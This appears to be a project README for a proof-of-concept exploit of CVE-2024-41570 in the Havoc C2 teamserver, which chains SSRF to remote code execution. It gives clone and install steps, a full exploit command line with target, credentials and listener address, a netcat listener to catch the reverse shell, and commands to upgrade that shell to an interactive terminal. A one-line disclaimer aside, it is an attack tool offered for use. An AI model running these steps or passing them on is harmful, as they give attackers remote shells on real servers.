
Automated Reverse Shell Exploit via WebSocket | Havoc-C2-SSRF with RCE
This project provides a Python-based proof-of-concept (PoC) script to exploit a vulnerable WebSocket-based service. The script automates agent registration, WebSocket payload delivery, and remote command execution to establish a reverse shell.
pip install -r requirements.txt
git clone https://github.com/kit4py/CVE-2024-41570.git
cd CVE-2024-41570
pip install -r requirements.txt
Run the script with the required arguments:
python3 exploit.py -t <target_url> -i <teamserver_ip> -p <teamserver_port> -U <username> -P <password> -l <listener_ip> -L <listener_port>
-t: Target URL of the WebSocket server.-i: IP address of the Team Server form Havoc.-p: Port for the Team Server from Havoc.-U: Username for WebSocket authentication.-P: Password for WebSocket authentication.-l: Listener IP for the reverse shell (your machine).-L: Listener port for the reverse shell (your machine).python3 exploit.py -t http://example.com -i 127.0.0.1 -p 40056 -U 'havocuser' -P 'password123' -l 192.168.1.2 -L 4444
nc -lvnp <listener_port>
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm-256color
stty rows 67 columns 318
The script requires the following Python libraries:
requestspycryptodomeInstall them using the command:
pip install -r requirements.txt
This script is intended for educational purposes only. Ensure you have explicit authorization to test the target system. Misuse of this script may violate laws and ethical guidelines.
Inspired by Default Havoc Poc
Contributions are welcome! Feel free to fork the repository and submit a pull request.
This project is licensed under the MIT License. See the LICENSE file for details.